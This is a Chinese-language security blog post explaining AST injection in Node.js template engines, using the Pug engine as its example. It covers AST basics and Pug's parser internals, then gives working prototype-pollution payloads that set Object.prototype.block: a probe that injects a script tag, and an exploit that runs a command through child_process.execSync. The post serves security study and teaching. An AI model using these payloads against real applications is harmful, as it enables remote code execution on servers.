目录

  1. 1. 前言
  2. 2. AST
    1. 2.1. 词法分析
    2. 2.2. 语法分析
  3. 3. 注入
    1. 3.1. pug模板
      1. 3.1.1. 测试
      2. 3.1.2. 原理&原型链污染
      3. 3.1.3. exp

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

AST注入

2024/2/10 Web Nodejs
  |     |   总文章阅读量:

前言

参考:

https://juejin.cn/post/6844904035271573511

https://zhuanlan.zhihu.com/p/367990285

https://xz.aliyun.com/t/10218

https://xz.aliyun.com/t/12635


AST

抽象语法树 (Abstract Syntax Tree),简称 AST,它是源代码语法结构的一种抽象表示。

以树状的形式表现编程语言的语法结构,树上的每个节点都表示源代码中的一种结构。

运用:

  • 编辑器的错误提示、代码格式化、代码高亮、代码自动补全
  • elintpretiier 对代码错误或风格的检查
  • webpack 通过 babel 转译 javascript 语法

要想了解 js 编译执行的原理,那么首先得了解 AST

js 执行的第一步是读取 js 文件中的字符流,然后通过词法分析生成 token,之后再通过语法分析 (Parser) 生成 AST,最后生成机器码执行。

词法分析

也称之为扫描 (scanner),简单来说就是调用next()方法,一个一个字母的来读取字符,然后与定义好的 JavaScript 关键字符做比较,生成对应的 token 。token 是一个不可分割的最小单元

例:var,语义上不能再被分解,因此是一个 token

词法分析器里,每个关键字是一个 token ,每个标识符是一个 token,每个操作符是一个 token,每个标点符号也都是一个 token

除此之外,还会过滤掉源程序中的注释和空白字符(换行符、空格、制表符)等

最终,整个代码将被分割进一个 tokens 列表(或者说一维数组)

// 源码
a + b

// Tokens
[
  { type: { ... }, value: "a", start: 0, end: 1, loc: { ... } },
  { type: { ... }, value: "+", start: 2, end: 3, loc: { ... } },
  { type: { ... }, value: "b", start: 4, end: 5, loc: { ... } },
]

语法分析

将词法分析出来的 token 转化成有语法含义的抽象语法树结构。同时,验证语法,语法如果有错的话,抛出语法错误。

const fn = a => a;

用 Acorn 解析 AST 树的在线网站:https://astexplorer.net/

参考文章里有现成的图就copy过来一手

image-20240210212021408

大致意思就是 用类型 const 声明变量 fn 指向一个箭头函数表达式,它的参数是 a 函数体也是 a


注入

Nodejs引擎模板中的 AST

image-20240210212338665

如图,代码在词法分析生成 tokens 后要经过 Parser (解析器) 和 Compiler (编译器) 才能被执行

而我们的注入点就在 Parser 这里,如果在解析 tokens 时输入了一些非预期的值,使其在语法分析时产生恶意的 AST ,从而在编译后插入到函数中,实现命令执行

image-20240210213403986


pug模板

测试

const pug = require('pug');
const source = `h1= msg`;
var fn = pug.compile(source);
var html = fn({msg: 'It works'});
console.log(html);
// <h1>It works</h1>

pug.compile 函数会将字符串转换为模板函数并传递对象以供调用

探测是否为pug模板:

const pug = require('pug');Object.prototype.block = {"type":"Text","val":`<script>alert(origin)</script>`};const source = `h1= msg`;var fn = pug.compile(source, {});var html = fn({msg: 'It works'});console.log(html); // <h1>It works<script>alert(origin)</script></h1>

原理&原型链污染

pug 解析 h1= msg ,生成的语法树结构:

{
    "type":"Block",
    "nodes":[
        {
            "type":"Tag",
            "name":"h1",
            "selfClosing":false,
            "block":{
                "type":"Block",
                "nodes":[
                    {
                        "type":"Code",
                        "val":"msg",
                        "buffer":true,
                        "mustEscape":true,
                        "isInline":true,
                        "line":1,
                        "column":3
                    }
                ],
                "line":1
            },
            "attrs":[

            ],
            "attributeBlocks":[

            ],
            "isInline":false,
            "line":1,
            "column":1
        }
    ],
    "line":0
}

语法树生成后,会调用 walkAst 执行语法树的解析过程,依次对每个节点的类型进行判断,即如下代码:

function walkAST(ast, before, after, options){

    parents.unshift(ast);

    switch (ast.type) {
        case 'NamedBlock':
        case 'Block':
          ast.nodes = walkAndMergeNodes(ast.nodes);
          break;
        case 'Case':
        case 'Filter':
        case 'Mixin':
        case 'Tag':
        case 'InterpolatedTag':
        case 'When':
        case 'Code':
        case 'While':
          if (ast.block) { // 注意这里
            ast.block = walkAST(ast.block, before, after, options);
          }
          break;
        case 'Text':
          break;
    }
    parents.shift();

}

而语法树的解析顺序是:

  1. Block
  2. Tag
  3. Block
  4. Code
  5. …?

这里第4步解析 node.TypeCode 类型

那么就会执行下面的代码

case 'Code':
case 'While':
  if (ast.block) { // 注意这里
    ast.block = walkAST(ast.block, before, after, options);
  }
  1. 判断 ast.block 属性是否存在,此处的 ast 即当前ast语法树的节点
  2. 如果存在,继续递归解析 block

而前面也说过,pug模板编译一段代码,背后的操作实际上是生成语法树 + new Function

image-20240210220129780

因此如果能通过AST Injection插入节点,并使之成为代码,即可达到远程代码执行的目的

pug中有如下代码

// /node_modules/pug-code-gen/index.js

if (debug && node.debug !== false && node.type !== 'Block') {  
    if (node.line) {  
        var js = ';pug_debug_line = ' + node.line;  
        if (node.filename)  
            js += ';pug_debug_filename = ' + stringify(node.filename);  
        this.buf.push(js + ';');  
    }  
}

仔细一看这里的操作和 merge 是差不多的,也就是说存在原型链污染

结合 生成语法树 + new Function 的模式,只要我们在 AST 注入的语句中加入Object.prototype.block,污染 line 的值就能实现RCE


exp

const pug = require('pug');
Object.prototype.block = {"type": "Text", "line": "console.log(process.mainModule.require('child_process').execSync('calc').toString())"};
const source = `h1= msg`;
var fn = pug.compile(source);
var html = fn({msg: 'It works'});
console.log(html);

image-20240210220707451